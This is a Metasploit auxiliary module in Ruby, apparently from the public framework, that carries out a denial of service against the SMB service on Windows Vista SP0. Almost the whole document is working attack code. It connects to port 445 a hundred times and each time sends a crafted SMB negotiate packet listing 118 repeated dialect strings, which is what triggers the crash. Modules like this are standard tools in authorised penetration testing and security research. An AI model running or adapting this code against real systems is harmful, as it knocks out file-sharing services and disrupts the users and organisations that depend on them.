Microsoft Vista SP0 SMB Negotiate Protocol Denial of Service

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Tcp  
include Msf::Auxiliary::Dos  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Microsoft Vista SP0 SMB Negotiate Protocol DoS',  
'Description' => %q{  
This module exploits a flaw in Windows Vista that allows a remote  
unauthenticated attacker to disable the SMB service. This vulnerability  
was silently fixed in Microsoft Vista Service Pack 1.  
},  
  
'Author' => [ 'hdm' ],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'OSVDB', '64341'],  
]  
))  
  
register_options([Opt::RPORT(445)])  
end  
  
def run  
  
print_status("Sending 100 negotiate requests...");  
  
# 100 requests ensure that the bug is reliably hit  
1.upto(100) do |i|  
  
begin  
  
connect  
  
# 118 dialects are needed to trigger a non-response  
dialects = ['NT LM 0.12'] * 118  
  
data = dialects.collect { |dialect| "\x02" + dialect + "\x00" }.join('')  
  
pkt = Rex::Proto::SMB::Constants::SMB_NEG_PKT.make_struct  
pkt['Payload']['SMB'].v['Command'] = Rex::Proto::SMB::Constants::SMB_COM_NEGOTIATE  
pkt['Payload']['SMB'].v['Flags1'] = 0x18  
pkt['Payload']['SMB'].v['Flags2'] = 0xc853  
pkt['Payload'].v['Payload'] = data  
pkt['Payload']['SMB'].v['ProcessID'] = rand(0x10000)  
pkt['Payload']['SMB'].v['MultiplexID'] = rand(0x10000)  
  
sock.put(pkt.to_s)  
  
disconnect  
  
rescue ::Interrupt  
raise $!  
  
rescue ::Exception  
print_error("Error at iteration #{i}: #{$!.class} #{$!}")  
return  
end  
  
end  
  
end  
end  
`